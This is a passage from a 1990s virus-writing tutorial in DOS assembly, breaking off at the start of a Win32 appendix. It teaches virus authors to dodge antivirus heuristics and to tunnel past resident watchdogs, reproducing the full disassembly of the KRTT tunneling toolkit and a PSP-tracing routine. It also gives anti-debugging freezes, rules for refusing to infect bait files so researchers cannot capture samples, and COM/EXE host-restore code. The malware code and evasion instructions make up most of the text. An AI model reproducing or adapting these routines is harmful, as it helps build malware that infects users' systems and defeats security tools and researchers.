 chapter, some chapters below ;)

 I want to see your PERs rocking the world! :)

---| Anti-Heuristics |-------------------------------------------------------

 The  heuristics search for suspicious things at our code. Just avoid the use
 of things like "*.com" and  so on... Well, i  explain it better. Follow this
 points.

 + Don't use wildcars like "*.com" or "*.exe":

 This  kinda things are  only used in  runtime  viruses, but if you really
 need  it... You  can  put something  like "*.rom"  instead "*.com" and  then
 something like this:

        mov byte ptr [bp+comfile+2],"c"

 Remember: before writing virus body, restore the r of "*.rom"...

        mov byte ptr [bp+comfile+2],"r"

 or you've made a null effort.
 In  this example we  assume BP as delta  offset, comfile as db "*.rom",0 and
 the virus is a direct action infector 

 + Don't use obvious routines:

 We're talking about the classic INT 21h AH = 40h, INT 21h AX = 4301h...
 You can made a lot of things... let's play with AX = 4301h

 I've  read this in  somewhere i don't remember now ( Maybe Wizard's tutorial
 in spanish :-? )

        push 4301h
        pop ax

 But  there's a problem... Compile it and then disassembly it. Let's see some
 TASM generated shit :) Of course, this only happens if da selected processor
 in the source is worse than a 386. 

        push ax bp
        mov bp,sp
        mov word ptr [bp+02],4301h
        pop bp ax

 This is the disassembled code of push 4301h and pop ax. It takes 11 bytes!!!
 I think it's a waste of code. Better use things like:

        mov ax,4300h
        inc ax

 or better:

        mov ax,0043h
        inc ah
        xchg ah,al
  
 and also:

        mov bx,4300h
        xor ax,ax
        xchg ax,bx 

 + Be paranoid with all the routines of your polymorphic engine:

 Be careful of the use of a lot of garbage, like one byte instructions ( cli,
 sti, lahf, nop, std, cld, cmc... ). The AV  can show  a flag. The  heuristic
 engine will try to decrypt yer code. I recommend you to put an antidebugging
 routine  for stop it. Take  a look  to ARMOURING chapter  in  this document.

 + Don't use strange calls for your residence check:

 If  you use some  like AX = DEADh for your  residence check, a  flag will be
 triggered. Use  checks below 6E00h. There're  a lot of functions below 6E00h
 unused. Take a look to Ralph Brown's interrupt list for more info.

 + Don't use rare interrupts:

 If you use interrupts above 80, a flag will be triggered.

 + Optimize your code as much as possible:

 Look  the tutorials that  talk about this ( like darkman's in VLAD#2, or the
 one in this same document )

 + Try to be original in the ë offset obtaining:

 For obtain delta offset don't use:

        call delta
 delta:
        pop si
        sub si,offset delta

 This is  used by  a lot of viruses, and  a flag will be triggered sure. ( In
 this example, delta offset will be in SI )

 There are a lot of alternative ( yeah! ) ways to get the delta offset:

        mov bx,old_size_of_infected_file
        jmp bx

 ( You can use another registers than BX, of course ;) )

 another one:

        call delta
 delta:
        mov si,sp
        mov bp,word ptr ss:[si]
        sub bp,offset delta

 ( In this, BP will be Delta offset )
 and another one:

        mov bp,sp
        int 03h
 delta:
        mov bp,ss:[bp-6]
        sub bp,offset delta

 + Make  your encryption routine  very optimized. If  you use  some shit, the
 heuristic will catch the virus, and all our efforts will go shit.

 + Make your TSR routines very strange:

 Try to avoid the compare with 0:

        cmp byte ptr [0],"Z"

 + In  your int 21  handlers avoid to  use the " real " cmps,  just  try with
 something like this ( examples with 4bh ):

        xchg ah,al
        cmp al,4Bh
        [...]
        xchg ah,al

 or make a xor with the value.

        xor ax,0FFFFh
        cmp ah,(4Bh xor 0FFh)
        xor ax,0FFFFh

  or this two at time ;)

        xor ax,0FFFFh
        xchg ah,al
        cmp al,(4Bh xor 0FFh)
        xchg ah,al
        xor ax,0FFFFh

 REMEMBER THIS: After  the call  to the real int 21 return  all the values as
 they are before making this routines

 + The heuristic will search with compares with "MZ" or "ZM" like

        cmp ax,"ZM"
        cmp ax,"MZ"

 You can try with something like this:

        mov al,byte ptr [header]
        add al,byte ptr [header+1]
        cmp al,"M"+"Z"

 This is a very useful routine: You  are checking at the same time for MZ and
 ZM. Assumed  things... Header  contains at  least the  2 firsts bytes of the
 header. Or  you can  make it, but in lower case, with  a simple  or ax,2020h
 ( AX is  the register  containing the string ), and  compare with  something
 like:

        cmp ax,"zm"
        cmp ax,"mz"

 + Try to make your virus as rare as you can :)

 + Scan  a lot of times  your code with  a lot of AVs to see if it's detected

 + Change  sightly the routines for restore the  COM and EXE hosts. Let's see
 now how to make an anti-heuristic restore for COM files:

        mov     di,101h                 ; This shit will fool AV
        dec     di
        push    di                      ; DI=100h :)
        lea     si,[bp+offset OldBytes] ; Restore 3 bytes 
        movsw                           ; ( Change it for your needs )
        movsb
        ret                             ; Jump to 100h ;)

 oldbytes       db CDh,20h,00

 And now let's see how to fuck heuristics when EXE restoring:

        mov     bx,bp                   ; Use BX as delta offset ;)
        mov     ax,ds                   
        add     ax,0010h                
        add     word ptr cs:[bx+@@CS],ax
        add     ax,cs:[bx+@@SP]
        cli
        mov     ss,ax
        mov     sp,cs:[bx+@@SS]
        sti

        db      0EAh                    ; JUMP FAR

 cs_ip          equ     this dword
 @@IP           dw      0000h           ; In 1st gen, put here the offset to
                                        ; a MOV AX,4C00h/INT 21h 
 @@CS           dw      0000h
 ss_sp          equ     this dword
 @@SS           dw      0000h
 @@SP           dw      0000h

 % Last things %
 ---------------

 The huge fail some heuristics have ( like TBSCAN ) are that they dont search
 for the values of the registers. We can exploit this thing. Just think about
 all da possibilities to make a mov ax,4301h or a cmp ah,4Bh... All is in yer
 hands...

---| Tunneling |-------------------------------------------------------------

 We call tunneling  to all the attemps for obtain the original vectors of any
 interrupt, that it's about all times da INT 21h. Well, all attempts can't be
 called tunneling ( for  example, the backdoors ), but we'll  talk about them
 in this article tho. 

 Tunneling was  developed for avoid  the TSR watchdogs. This kinda anti-virus
 are ununderstandable ( whatta word! :) ) for da normal user, coz they notify
 the attempts to hook interrupts, open executables, and all the stuff a virus
 ussually do. This  methods are really  hard to fool with stuff like the show
 before ( anti-heuristics ), because  they don't  search for  bits, they only
 hook and control the important interrupts ( 21h, 13h... ).

 The  most  populars  TSR  watchdogs are  the  Flintstones' VSAFE, VSHIELD...
 Our  objective is to get the original vectors but... how can do it? You have
 a lot of ways for choose.

 % Tracing %
 -----------

 This  is probably one  of the most  used ways, but it's clearly unsafe. Yes,
 this  type of tunneling is very  fragile, and  you will know  why if you pay
 attention to the following lines :)

 There  is a flag, called  Trap Flag ( ussually abbreviated as TF ), used for
 put  the processor in  single-stepping mode  if it' s activated. The single-
 stepping  mode is  what debuggers  use for  execute the  code instruction by
 instruction, and we can use it for our needs, of course :)

 Every time an instrution is executed, and da TF is activated, the INT 1 will
 be called, so this is our time :) But there isn't an intruction for activate
 it, so we must play with the flags. Let's see how we can activate the TF:

        pushf                           ; Push flags to stack
        pop ax                          ; And put them into AX for play
        or ax, 100h                     ; We activate the TF at this point
        push ax                         ; We must push AX...
        popf                            ; for restore our preety flags :)

 With  this simple code you have activated the trap flag. I forgot to put the
 flags, so here you have:

 Position >  0F 0E 0D 0C 0B 0A 09 08 07 06 05 04 03 02 01 00
             vv vv vv vv vv vv vv vv vv vv vv vv vv vv vv vv
 Flags    >  -- -- -- -- OF DF IF TF SF ZF -- AF -- PF -- CF 

 The flags are  in a 16 bit register, as  you can see. Here you have the list
 of flags, and its meanings:

 CF : Carry Flag     > Indicates an arithmetic carry
 PF : Parity Flag    > Indicates an even number of 1 bits
 AF : Auxilary Flag  > Indicates adjustment needed in BCD numbers
 ZF : Zero Flag      > Indicates a zero result, or equal comparison
 SF : Sign Flag      > Indicates negative result/comparison
 TF : Trap Flag      > Controls Single Step operation
 IF : Interrupt Flag > Controls whether interrupts are enabled
 DF : Direction Flag > Controls increment direction on string regs.
 OF : Overflow Flag  > Indicates signed arithmetic overflow

 Let's  remember some things about the  interrupts. Every time we call an INT
 at the  stack are 6 bytes: the  flags and the CS:IP. You must remember this,
 because we must to call to the INT 21h, and then trace its code. If after da
 call  the CS ( in the stack ) is  equal to the one that the DOS has given to
 us  when  we've  requested for  interrupt  vectors, the INT is the good one.
 The simples routine for make tunneling could be like this one:

 int01handler:
        push bp
        mov bp, sp
        push dx
        mov dx, word ptr cs:[dossegment]
        cmp [bp+6], dx
        jz found
        pop dx
        pop bp
        iret
 found:
        mov dx, [bp+6]
        mov word ptr cs:[int21_seg], dx
        mov dx, [bp+4]
        mov word ptr cs:[int21_off], dx
        pop dx
        pop bp
        add sp, 6
        [...]

 But this kinda tunneling, as i said at the beginning of the explanation, has
 a  lot of weak  points. We  aren't protected  to POPF, PUSHF, CLI, and  a TF
 deactivation, because we're really EXECUTING the code.
 If the AV  redirected the INT 21h to another INT, we're fucked again. As you
 can see, the tracing isn't safe.

 Well, we can solve some problems by checking for some instructions, as PUSHF
 and POPF, for don't let lamerz to deactivate the TF.
 Anyways, the tracing ain't the best choice...

 % Byte to Byte %
 ----------------

 The most popular ( the only one ) source is the Kohntark Recursive Tunneling
 Toolkit ( aka KRTT ). The  method it uses  is to make comparisons to all the
 opcodes in  the int handler, in order  to see if it's a CALL, CALL FAR, JUMP
 FAR,  and JUM OFF:SEG, and  then get  this  value as INT 21h. Let's  see the
 complete  disassembly of the  file KRTT41.OBJ of the KRTT41 package, that is
 main center of the toolkit.

;---[ CUT HERE ]-------------------------------------------------------------
; Kohntark Recursive Tunneling Toolkit 4.1 (c) 1993 by KohntarK
; Disassembly by Billy Belcebu/DDT
;
; INPUT:
;       > BP : 01             Searches for INT 2Ah handler
;       > BP : 02             Searches for INT 13h handler
;       > BP : another value  Searches for INT 21h handler
; OUTPUT:
;       > AH : 00             Not found
;       > AH : 01             Found! 
;       > AH : 02             Int 21h / 2Ah / 13h  Not Hooked
;       > AH : 03             DOS internal interrupts are hooked
; If found:
;       > DX                  DOS INT 21h / 2Ah / 13h SEGMENT
;       > DI                  INT 21h  / 2Ah / 13h OFFSET
;       > AL                  RECURSION DEPT
; DESTROYED:
;       > AX,BX,CX,DX,DI,BP,ES
;
; Assemble:
;       TASM KRTT41.ASM
;       TLINK  KRTT41.OBJ
;
; Call TUNNEL for make tunneling
;
; NOTE: It's the first time  i try with a disasm of something, so if i made a
; _HUGE_ mistake, notify me :) This ain't my job...

       .model   tiny
       .code
        public  tunnel

tunnel:
        cli                             ; Disable interrupts for tunneling
        xor     ax,ax                   
        mov     es,ax                   ; Make ES = 0 for get IVT
        xor     di,di  
        mov     dx,es:[00AEh]           ; Checks for assure tunneling
        mov     cx,es:[00A2h]           ; INT 26h =! INT 28h 
        cmp     dx,cx  
        jz      check  
        mov     cx,es:[00B2h]           ; INT 26h =! INT 28h =! INT 2Ch
        cmp     dx,cx  
        jz      check  
        mov     ah,03                   ; Checks failed : DOS ints are hooked
        ret   
check:
        cmp     bp,01h                  ; BP=1       Hook INT 2Ah
        jz      int2A
        cmp     bp,02h                  ; BP=2       Hook INT 13h
        jz      int13  
int21:
        mov     bx,es:[0084h]           ; BP=Other   Hook INT 21h
        mov     es,es:[0086h]  
        jmp     go4it
int13:
        mov     bx,es:[004Ch]           ; Get INT 13h vectors from the IVT to
        mov     es,es:[004Eh]           ; ES:BX
        mov     bp,es  
        mov     dx,0070h
        cmp     bp,dx  
        jz      nothooked
        jmp     letstunnelit
int2A:
        mov     bx,es:[00A8h]           ; Get INT 13h vectors from the IVT to
        mov     es,es:[00AAh]           ; ES:BX
go4it:
        mov     bp,es
        cmp     dx,bp  
        jnz     letstunnelit  
nothooked:
        xchg    bx,di
        mov     ah,02h                  ; INT not hooked *yeah* ;)
        ret   
letstunnelit:
        call    main_body               ; Go and tunnel it
        sti   
        ret   
main_body:
        push    es
        push    bx  
        cmp     al,07h                  ; Check for recursion
        jz      exit  
        cmp     ah,01h                  ; Found ?
        jz      exit  
        inc     al  
        mov     cx,0FFFAh  
        sub     cx,bx  
main_loop:
        push    bx
        cmp     byte ptr es:[bx],0E8h   ; Is OpCode a CALL ?
        jz      callsig16
        cmp     byte ptr es:[bx],0EAh   ; Is it a JUMP OFFSET:SEGMENT ?
        jz      far_stuff  
        cmp     byte ptr es:[bx],09Ah   ; Is it a CALL FAR ?
        jz      far_stuff  
        cmp     byte ptr es:[bx],02Eh   ; A Segment Override CS maybe ? :P
        jnz     jmpfar
        cmp     byte ptr es:[bx+01],0FFh ; A JUMP FAR ?
        jnz     jmpfar  
        cmp     byte ptr es:[bx+02],01Eh ; PUSH DS ?
        jz      far_stuff2
        cmp     byte ptr es:[bx+02],02Eh ; CS ? ( again )
        jnz     jmpfar  
far_stuff2:
        mov     bp,es:[bx+03]
        dec     bp  
        xchg    bx,bp  
        jmp     far_stuff  
jmpfar:
        pop     bx
        cmp     ah,01h                  ; Found ?
        jz      exit  
        cmp     al,07h                  ; Check for recursion
        jz      exit  
        inc     bx  
        loop    main_loop               ; And loop it
callsig16:
        pop     bx
        add     bx,03h  
        loop    main_loop  
exit:
        pop     bx
        pop     es   
        ret
far_stuff:
        pop     bp
        add     bp,04h  
        push    bp  
        cmp     es:[bx+03],dx  
        jz      found
        cmp     word ptr es:[bx+03],00h
        jz      jmpfar  
        push    es   
        pop     bp  
        cmp     es:[bx+03],bp  
        jz      jmpfar  
        mov     bp,bx  
        mov     bx,es:[bx+01]           ; Where it points
        mov     es,es:[bp+03]  
        call    main_body  
        jmp     jmpfar  
found:
        mov     di,es:[bx+01]
        mov     ah,01                   ; INT 21 found
        jmp     jmpfar  
end     tunnel
;---[ CUT HERE ]-------------------------------------------------------------

 I  you  want  the  full package, search  for it. It's  very  easy  to  find.
 But the  KRTT isn't safe. " FUCK! " you can think. The tunneling seems to be
 a very unsafe and fragile tecnique. This happens only in this old tecniques.
 The KRTT  will suck if  the control is  returned by another instruction that
 isn't da four implemented. It's very easy to call INT 21h with a conditional
 jump or a  RETF, and this will fuck us. And this tecnique MUST be recursive,
 due its nature. 

 % PSP tracing %
 ---------------

 If  you remember the VERY important structure  that was PSP, and you see the
 description of  this same  document about the offset 0005, you will think...
 " What the hell is this of the FAR CALL to the INT 21 ? ". This offset of da
 PSP is quite  obsolete, it's only preserved for  compatibility with very old
 programs. But  it contains very  interesting  data, like INT 21h dispatcher.
 The INT 21h dispatcher ain't da INT 21h handler, don't forget it. As Satan's
 Little Helper said, da offset PSP:6 can point directly to the dispatcher, or
 point indirectly, that requires some playing with the double nop call to the
 first one.

 The below  routine is from VLAD#3 ( whatta good group! ), an article written
 by  Satan's Little  Helper, that shown  the way  for get  INT 21h address by
 using PSP.

;---[ CUT HERE ]-------------------------------------------------------------
; PSP tracing routine by Satan's Little Helper
; Published in VLAD#3
;
; INPUT:
;       > DS                  PSP segment
; OUTPUT:
;       > DS:BX               INT 21h address
;       > CF                  0
; if tunnel failed:
;       > DS:BX               0000:0000
;       > CF                  1

psp_trace:
        lds     bx,ds:[0006h]           ; a pointer to dispatch handler
trace_next:
        cmp     byte ptr ds:[bx],0EAh   ; JMP SEG:OFF ?
        jnz     check_dispatch
        lds     bx,ds:[bx+1]            ; point to the SEGMENT:OFFSET
        cmp     word ptr ds:[bx],9090h
        jnz     trace_next
        sub     bx,32h                  ; 32h byte offset from dispatch
                                        ; handler
        cmp     word ptr ds:[bx],9090h  ; If all is OK, INT 21h has this
        jnz     check_dispatch          ; signature ( 2 NOPs )
good_search:
        clc
        ret
check_dispatch:
        cmp     word ptr ds:[bx],2E1Eh  ; PUSH DS, CS: ( prefix )     
        jnz     bad_exit
        add     bx,25h                  
        cmp     word ptr ds:[bx],80FAh  ; CLI, PUSH AX
        jz      good_search
bad_exit:
        stc
        ret
;---[ CUT HERE ]-------------------------------------------------------------

 Preety simple and effective. Test it! And, with the skeleton of the PSP tra-
 cing we can use another method, the INT 30h backdoor.
 The PSP tracing is better than the normal tracing, because in the second one
 we don't know if we're  executing the code  of an AV, and using the PSP this
 can't occur.

 % INT 30h backdoor %
 --------------------

 This is very easy, if you undertood da above technique. The INT 30h has code
 to jump to the dispatcher, so we can put something like this:

        xor     bx,bx
        mov     ds,bx
        mov     bl,0C0h                 ; INT 30h offset in IVT
        jmp     trace_next

 Be warned that the INT 30h in Windoze  enviroment is used for another purpo-
 ses, but that is another history :)

 % Code Emulators %
 ------------------

 The first article i can remember is the one that Methyl [IR/G] made some ti-
 me ago, published in IR#8 ( IRG#1? ). This little lesson ain't as Methyl one
 i haven't  so much space ( this tute  is becoming huge ), so this  lesson is
 about 100% theorical. But  don't give up, it's  very easy to understand. For
 me the emulation seems to be an improvement to the old byte-to-byte scanning
 but much more enhaced and safe. I'm not saying that it's EQUAL. The byte-to-
 byte scanning only compared da opcodes, and the emulation makes some playing
 around to make the same as da instruction makes when executing: the emulati-
 on follows da FLOW of the program, makes the fake jumps, the calls... And in
 this way, it searches for  the possible  INT 21h jump, that is what we need.
 Ok, this  is the  concept. If you wanna know more, i suggest you to download
 the IR#8, and  take a  look to  Methyl's  tute. That  is a good magazine, so
 enjoy its read!

 % Advanced tunneling %
 ----------------------

 Ahhh... the  same shit of  all this document: i don't want to make your head
 explode with  too much knowledge. There're  techniques much more safe, cool,
 new... but  they're  too much  hard, and it  implementation in this document
 would suck a hugh amount of your hard disk :) 

---| Anti-tunneling |--------------------------------------------------------

 Tunneling tecniques are also used by da ShitWare ( AntiViruses ) for install
 its products, and all  our efforts in  order to  catch the original  INT 21h
 vectors  will suck, coz  they're using  the same weapons that we use. And we
 don't like this. Also, other viruses can tunnel us, and this ain't cool. The
 system is OURS, and no one else! :)

 As ShitWare uses routines for detect if someone is tracing, we can use their
 own  routines in order to  fight againist them: they're unprotected to this.
 As we  used a routine to activate the  trap flag tor tracing... Could we use
 another  for deactivate it? Sure. It's  very simple. Instead  using a OR for
 activate it, for deactivate we must use an AND.

        pushf
        pop     ax
        and     ah,11111110h
        push    ax
        popf

 Ain't it charming? :) With this shit we've fucked their attempt to steal OUR
 INT 21h. But... what  if we want  to know if there's someone trying to steal
 it? This routine  is stolen from this same document, from ARMOURING chapter.

        push    ax
        pop     ax                    
        dec     sp                    
        dec     sp                    
        pop     bx                    
        cmp     ax,bx                 
        jz      not_traced
        jmp     $                       ; If traced, freeze the processor
 not_traced:
        [...]

 A nice attitude: be lamer with his own stuff :)

 This  chapter is an extension  of the TUNNELING chapter. So... with this two
 simple  routines, and a  little bit of  good luck, you can go so far away :)

---| Anti-bait |-------------------------------------------------------------

 The baits/sacrifical goats are programs that don't do anything. And you will
 wonder why... They use this programs for catch the viruses, that will infect
 them. And, they will have a copy of our virus :(

 But  our great  problem is  when  our virus is polymorphic. They will infect
 about  10 thousands  of this  files in order to  search for a realiable scan
 string and/or algorithm that catch about all da possible mutations. Of cour-
 se, if  we add code to  simply refuse the infection for this programs, we're
 fucking them ( it's  boring to fuck  always the same  people, but they  work
 fucking ours... ) ;)

 There are  some points you  can follow for  don't allow ( or make hard ) our
 virus to infect a bait:

 - Don't  infect files at  least < 5000, or better,  refuse < 10000. So we're
 making AV to  create 10000 baits, of 10000 bytes each one. So they will need
 at least 100 megs for our virus :)

 - Don't  infect files with  numbers in its  name. Baits  are ussually called
 "00000000.COM", "00000001.COM" and such like.

 - Don't infect  files with  consecutive names. This  can seem  the same than
 the above. Not. If  they see that our virus don't infect the files with num-
 bers, they  will create  files  like "AAAAAAAA.COM", "AAAAAAAB.COM" and shit
 like this. 

 - Don't infect  consecutive files with the same size. This is another strain
 of the above two methods.

 - Don't  infect the files  with today's date. About all the executable files
 are in  one computer  for some days  and/or months. It's very  rare  to find
 files  with today's  date ( well, not at all, but  about all the  baits have
 this date ).

 - Catch a timer interrupt, or whatever you want in order to avoid the infec-
 tion of  files in at least 10 minutes. Just imagine one situation... an AVer
 is  trying to get a scan  string for  our virus. We've  implemented all  the
 above anti-bait tecniques  in our  virus, and the AVer  will reboot a lot of
 times  for see  what triggers the refuse of  the virus. And, if each boot we
 make him  to wait 10  minutes... He will waste a lot of time in our virus :)

 - Don't infect  files at root directory. A lot of bait generators make their
 baits at root directory, so they're fucked again :)

 - Don't infect  files with zero-jumps and calls: This are only used by baits
 and PERs, so... Search  for all E9 00 00, E8 00, [70..7F] 00, and such like.

 - Of course, check  for a lot  of NOPs, XCHGs with  the same register ( XCHG
 BX,BX ), moves with the same register...

 - Check for a huge amount of 0 bytes, or consecutive INCs/DECs with the same
 register... When  you've seen  a program  that makes  a INC DX followed by a
 DEC DX ???

 - Detect if  the first thing  the file executes is a MOV AX,4C00h/INT 21h or
 a INT 20h.

 If a  virus has  implemented at least 5 of  this things in its code, be sure
 that it'll be higly anti-bait. :)

---| Optimization |----------------------------------------------------------

 There are  two kinds of  optimization: structural and  local. In this little
 chapter  i'll talk  about the two  kinds. But first  you must understand one
 thing: never  optimize your  code until it's  full-working. If  you begin to
 optimize  a code that don't works, ther'll be a lot of more things that will
 make  it don't work, you'll  try to fix  it, and you'll make  more and  more
 mistakes... an endless loop of shit :)

 % Structural optimization %
 ---------------------------

 This  is the most  effective, and the more  hard to do  and understand. This
 kinda  optimization can be  easily unserstand by  using a paper, and writing
 there the algorithm of your virus. We haven't here paper, so let's imaginate
 a situation... imagine you, on yer virus, open the file first for read only,
 close, open again for read/write, and close again. This is a waste of bytes.
 For this  kind of optimization,  you must think  a lot about what things can
 you  change and save  bytes, and what  things don't. The  solutions must  be
 custom-made to your problems.

 % Local optimization %
 ----------------------
 
 This  is the easiest way, however it can save a lot of bytes tho. It consist
 in change some code lines individually to another ones that do the save job,
 using less bytes.

 + Clearing Registers:

        mov     bx,0000h                ; 3 bytes
        xor     bx,bx                   ; 2 bytes
        sub     bx,bx                   ; 2 bytes

 So, never  use the first  one, and  choose one of the other ways. There is a 
 register that can be cleared by other way: DX. Let's see:

        mov     dx,0000h                ; 3 bytes
        xor     dx,dx                   ; 2 bytes
        sub     dx,dx                   ; 2 bytes
        cwd                             ; Convert word to dword ( 1 byte )

 The  CWD will ONLY  work if AX content is less that 8000h. There is a way to
 clear  AH with  a one-byter: if AL < 80h  you can  use the  CBW instruction.

 + Comparisons:

 There's a  very  well know  way by all us,  that is  to use  the instruction
 developed  specially for  this: the CMP. For  compare two register,  you can
 use two ways with the same result, and no savings:

        cmp     ax,bx                   ; 2 bytes
        xor     ax,bx                   ; 2 bytes

 But  we can only use XOR in all the cases if we want only know if the values
 are EQUAL. However,  we CAN save bytes if we use xor instead cmp when compa-
 ring a register with an immediate value:

        cmp     ax,0666h                ; 3 bytes
        xor     ax,0666h                ; 2 bytes

 But, due the nature of XOR instruction, we can't use it for know if a reggie
 is clear. But here comes OR to save us...

        cmp     ax,0000h                ; 3 bytes
        or      ax,ax                   ; 2 bytes

 + Optimized reggie - AX:

 You can use it for comparisons:

        cmp     bx,0666h                ; 4 bytes
        cmp     ax,0666h                ; 3 bytes

 And you can move AX to another register in a very optimized way:

        mov     bx,ax                   ; 2 bytes
        xchg    ax,bx                   ; 1 byte

 You can do this if da values of AX and BX before the change are unimportant.
 This is really good for put after a file open, coz the file handle is better
 in BX.

 + String operands:

 Each string operand ( MOVS, STOS, SCAS... ) is the optimized way for perform
 some actions. Let's see for what purposes can you use it:

 - MOVS: A movement from the position DS:[SI] to ES:[DI]

        les     di,ds:[si]              ; 3 bytes

        movsb                           ; If we want a byte ( 1 byte )
        movsw                           ; If we want a word ( 1 byte )
        movsd                           ; If we want a dword ( 2 bytes ) 386+

 - LODS: Put in accumulator the value of the position DS:[SI]

        mov     ax,ds:[si]              ; 2 bytes

        lodsb                           ; If we want a byte ( 1 byte )
        lodsw                           ; If we want a word ( 1 byte )
        lodsd                           ; If we want a dword ( 2 bytes ) 386+


 - STOS: Put in accumulator the value of the position ES:[DI]

        les     di,al                   ; Can't do this!
        les     di,ax                   ; Can't do this!

        stosb                           ; If we want a byte ( 1 byte )
        stosw                           ; If we want a word ( 1 byte )
        stosd                           ; If we want a dword ( 2 bytes ) 386+

 - CMPS: Compares the value in DS:[SI] with the value in ES:[DI]

        cmp     ds:[si],es:[di]         ; Can't have 2 segment overrides!

        cmpsb                           ; If we want a byte ( 1 byte )
        cmpsw                           ; If we want a word ( 1 byte )
        cmpsd                           ; If we want a dword ( 2 bytes ) 386+
        
 - SCAS: Compares the value of accumulator with ES:[DI]

        cmp     ax,es:[di]              ; 3 bytes

        scasb                           ; If we want a byte ( 1 byte )
        scasw                           ; If we want a word ( 1 byte )
        scasd                           ; If we want a dword ( 2 bytes ) 386+

 + 16 bit registers:

 Ussually, it's  more optimized the usage  of 16 bit  register than the 8 bit
 ones. Let's see an example with MOV instruction:

        mov     ah,06h                  ; 2 bytes
        mov     al,66h                  ; 2 bytes ( 4 bytes total )

        mov     ax,0666h                ; 3 bytes

 It's more optimized to increase/decrease any 16 bit register:

        inc     al                      ; 2 bytes
        inc     ax                      ; 1 byte

        dec     al                      ; 2 bytes
        dec     ax                      ; 1 byte
 
 + Bases and segments:

 The movement  from another segment  to another can't be done directly, so we
 must to play some with it:

        mov     es,ds                   ; Can't do this!
        
        mov     ax,ds                   ; 2 bytes
        mov     es,ax                   ; 2 bytes ( 4 bytes total )

        push    ds                      ; 1 byte
        pop     es                      ; 1 byte ( 2 bytes total )

 Use DI/SI is more enhaced than the use of BP.

        mov     ax,ds:[bp]              ; 4 bytes
        mov     ax,ds:[si]              ; 3 bytes

 + Procedures:

 If you use a routine a lot of times, you must think about the possibility of
 make a  procedure. This can  optimize your code. However, the bad use of the
 procedures can  invert our needs: the  code will grow. So, if you wanna know
 if the  conversion of a routine  to a procedure save bytes, you can use this
 little formula:

 X = [rout. size - (CALL size + RET size)] * number of calls - rout. size
 
 The CALL  size + RET size  means 4 bytes. The X  will be the  bytes we save.
 Let's see the tipical function that saves some bytes, the file pointer move-
 ment:

 fpend: mov     ax,4202h                ; 3 bytes
 fpmov: xor     cx,cx                   ; 2 bytes
        cwd                             ; 1 byte
        int     21h                     ; 2 bytes
        ret                             ; 1 byte

 We  have 8 bytes plus CALL size... 11 bytes. Let's see if this will optimize
 our code:

 X = [ 7 - ( 3 + 1 ) ] * 3 - 7
 X = 2 bytes saved

 This is a  invented calculation, of  course. You  can call this routine more
 than 3  times ( or less ), make  its size different,  and many  more things.

 + Last tips for local optimization:

 - Use SFT. In this structure you've a lot of useful information, and you can
 manipulate it without any problem. 

 - Make  your compiler  pass trough  the code  at least 3 times for eliminate
 all unnecessary NOPs and other shit.

 - Use stack.

 - It's more  optimized to  use the  LEA instruction that use the MOV offset.

---| Appendix 1 : The new school |-------------------------------------------

 Well, here i will make a little introduction to the whole new world that is
 Windows 32-bit programming. An advice: change your mind :)

 If you arrived to  this point i assume you are intelligent, and know to code
 in 16 bit ASM very good. So, it's time for learn the basics of Windows envi-
 roments, and code a little bit. But this part of the tute, as is an appendix
 won't be very complete, so you will have to search da information in another
 place :)

 % Brief description of what's going on %
 ----------------------------------------

 Here we must erase almost all our knowledge of DOS if we want to be success,
 because all  that is unnecessary  now. All the explained  before has no more
 utility in Win32 ( well, there're some exceptions of course )... interrupts,
 structures, COM  files, methods of residency  and  stealth, append  methods,
 anti-debugging, anti-heuristic... the  only that remains of all that are the
 concepts, the  code we  must  do is very different. Well, some people use to
 misname Win95 viruses as Win32. No. Win32 means that da virus MUST be compa-
 tible with all Win95, WinNT, Win3X+Win32s and Win98.

 Well, we  have new  registers, new segments,  new structures... and a lot of
 new  things for  research. Ain't  as  difficult  as it appears to be... just
 think that it's  the moment that you have waiting for: there're a lot of un-
 explored techniques, so you can became easily in a pioneer :)

 Forget all that 16bit segments, 16bit offsets, 16bit registers... Now we ha-
 ve something more funny: all  these things ( and much more ), but in a 32bit
 version.

 % Changes between 16 and 32 bit programming %
 ---------------------------------------------

 We will  work ussually with double words  instead words, and this thing open
 us a new world  of possibilities. We have  two more  segments to  add to the
 already known CS, DS, ES and SS: FS and GS. And we have new 32 bit registers
 as EAX, EBX, ECX, EDX, ESI, EDI, EBP and ESP. Let's see how to play with the
 reggies: Imagine we have to access to the less significant word of EAX. What
 can we do? This part can be accessed by  using AX register, that handles its
 LSW. Imagine  that EAX = 00000000, and we want  to put a 1234h in the LSW of
 this. We must simply do a "mov ax,1234h" and  all the work is done. But what
 if we wanna access to da MSW ( Most Significant Word ) of EAX. For this pur-
 poses  we can't use a reg: we must play using ROL ( or SHL if LSW is shit ).
 But... for what the fuck you need that? Use EAX goddamit! :P

 % Rings : brief introduction %
 ------------------------------

 There  are  4 different  rings: Ring-0, Ring-1, Ring-2 and Ring-3. The Win9X
 uses two of them: Ring-0 and Ring-3.

 - Ring-0, the  sweet dream of the virus writer under Win9X enviroments. It's
 the highest privilege under Win9X, we can access ports, etc., because we are
 avoiding all kind of things that could stop us. It's the  highest level, and
 btw, is the same level at the kernel works. There are no restrictions.

 - Ring-3, the usual  shit  of Win32  enviroments. We  can only use the APIs.
 This is the privilege where all the "normal" applications run. We have a lot
 of limitations here. We must be careful with that goddamn General Protection
 Faults when coding at this level.

 % The base for Ring-3 coding : The API %
 ----------------------------------------

 API can be considered as the thing that substitutes in Windows enviroment da
 interrupts. In the "normal" applications  developing we have  them  with any
 kind of problem. But the thing  changes  in  virus developing, as we need to
 search for them. But this is another story that will be told another time in
 another place :P Well, the parameters when we use APIs must be in the stack,
 so we must push'em. Let's see an example:

                push    00000000h
                call    ExitProcess

 The API  ExitProcess is the  equivalent in  Windows to the famous INT 20h in
 DOS. The value we push is the exit code. Let's see:

 VOID ExitProcess(
  UINT uExitCode        // exit code for all threads
 );

 Another  example of API could be  MessageBox(A/W). Yeah, shows  that goddamn
 msgbox.

 int MessageBox(
  HWND hWnd,            // handle of owner window
  LPCTSTR lpText,       // address of text in message box
  LPCTSTR lpCaption,    // address of title of message box
  UINT uType            // style of message box
 );

 Well, let's see more examples.

 % Interesting APIs %
 --------------------

 All the information here is taken  from the awesome Win32 programmer's refe-
 rence, maybe  the most kickass aid you  can get  when working  under Windoze
 enviroments. I'll only place here four  of them, the most used nowadays, but
 i really recommend you  to download it: there're  a lot of interesting APIs,
 and  if i  put  here  all i  think important, this  tute  will be 10 megs :)

 + GetProcAddress

 The  GetProcAddress function returns  the address  of the specified exported
 dynamic-link library (DLL) function.

 FARPROC GetProcAddress(
  HMODULE hModule,    // handle to DLL module  
